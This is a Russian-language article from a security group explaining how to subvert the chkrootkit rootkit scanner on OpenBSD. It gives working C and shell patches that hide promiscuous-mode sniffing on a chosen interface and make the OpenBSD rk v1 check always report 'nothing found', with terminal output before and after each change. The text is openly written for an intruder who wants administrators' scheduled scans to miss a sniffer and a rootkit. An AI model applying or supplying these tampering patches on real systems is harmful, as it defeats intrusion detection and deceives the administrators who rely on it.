Сегодня среди администраторов пользуется довольной большой популярностью утилита для мониторинга безопасности систем - chkrootkit. Причем очень часто используется она без каких либо связок с другими утилитами, что делает ее абсолютно неэффективной. Я постараюсь раскрыть принципы обмана утилит класса chkrootkit в этой статье. Работать будем под OpenBSD 3.6. + chkrootkit 0.45 (последняя версия на момент написания статьи). Для начала посмотрим что нам предлагают разработчики в архиве: ACKNOWLEDGMENTS Makefile README.chklastlog check_wtmpx.c chklastlog.c chkrootkit chkutmp.c ifpromisc.c COPYRIGHT README README.chkwtmp chkdirs.c chkproc.c chkrootkit.lsm chkwtmp.c strings.c Среди кучи мусора нам потребуются лишь chklastlog.c chkproc.c chkdirs.c chkwtmp.c ifpromisc.c strings.c chkutmp.c chkrootkit Это исходники chkrootkit. Подробное описание предназначения каждого файла можно найти в README или на сайте разработчика - http://www.chkrootkit.org Обычно когда хакер устанавливает руткит, который с треском меняет всю систему, кроме различных IDS, он не задумывается об утилитах класса chkrootkit, которые могут сильно отравлять ему жизнь. Помимо системных бинарников иногда бывает полезно менять и сами IDS, чем мы сейчас и займемся на примере chkrootkit. Причем подмена различных систем мониторинга целостности системы так же очень полезна и при использовании LKM руткитов. Мы рассмотрим для примера два файла - ifpromisc.c и скрипт chkrootkit. Первый файл проверяет не находятся ли сетевые карты в promiscous mode, второй - сердце chkrootkit - скрипт который непосредственно и проверяет наличие руткитов в системе, а так же запускает все остальные утилиты включая ifpromisc. Теперь попробуем запустить ettercap и после этого запустить отдельно собранный ifpromisc.c: localhost:chkrootkit-abuse {112} ./if rl0 is PROMISC rl0 is PROMISC pfsync0 is not promisc localhost:chkrootkit-abuse {113} Утилита исправно говорит что по всей видимости работает сниффер. Нам нужно изменить ее таким образом чтобы сниферов она не замечала. Ищем в ней кусок кода: #else if (ptr->flags & IFF_PROMISC) printf("%s is %s", ptr->name, "PROMISC"); else { if (!q) printf("%s is %s", ptr->name, "not promisc"); } putchar('\n'); #endif Его нам надо изменить следующим образом: #else if (ptr->flags & IFF_PROMISC) if(strcmp(ptr->name, "rl0") == 0) printf("%s is %s", ptr->name, "not promisc"); else printf("%s is %s", ptr->name, "PROMISC"); else { if (!q) printf("%s is %s", ptr->name, "not promisc"); } putchar('\n'); #endif Где вместо rl0 указываем нужный сетевой интерфейс. После пересборки запустим ее еще раз: localhost:chkrootkit-abuse {124} ./if rl0 is not promisc rl0 is not promisc pfsync0 is not promisc localhost:chkrootkit-abuse {125} Таким образом chkrootkit перестанет обнаруживать сниферы на rl0 интерфейсе. Дело сделано. Далее перейдем к скрипту chkrootkit. Это самый большой и самый сложный файл утилиты. Давайте попробуем спрятать OpenBSD rk1 от глаз chkrootkit, для этого ищем кусок кода: ### OpenBSD rootkit v1 if [ "${SYSTEM}" != "SunOS" -a ! -f ${ROOTDIR}usr/lib/security/libgcj.security ]; then files="" if [ "${QUIET}" != "t" ];then printn "Searching for OBSD rk v1... "; fi files=`find ${ROOTDIR}usr/lib/security 2>/dev/null` if [ "${files}" = "" -o "${SYSTEM}" = "HP-UX" ]; then if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi else echo "${files}" fi fi Здесь изменим всего одну строку: ### OpenBSD rootkit v1 if [ "${SYSTEM}" != "SunOS" -a ! -f ${ROOTDIR}usr/lib/security/libgcj.security ]; then files="" if [ "${QUIET}" != "t" ];then printn "Searching for OBSD rk v1... "; fi files=`find ${ROOTDIR}usr/lib/security 2>/dev/null` if [ "${files}" = "" -o "${SYSTEM}" = "HP-UX" ]; then if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi else echo "nothing found" fi fi Теперь chkrootkit перестанет видеть наш руткит и всегда будет с легкостью сообщать: Searching for OBSD rk v1... nothing found Так можно обмануть chkrootkit, который будет уверенно запускатся по расписанию и отправлять логи ничего не подозревающему администратору системы. Правда полная замена chkrootkit дело довольно долгое и кропотливое, если утилита перестанет видеть вобще все подозрительные события, то это может показатся странным излишне подозрительному администратору. Поэтому тщательно прятать надо только нужное нам, в противном случае можно испортить все дело. Так же не стоит забывать что chkrootkit может использоватся в связке с другими подобными утилитами, которые значительно усложняют работу хакера. __blf, RusH Security Team, http://rst.void.ru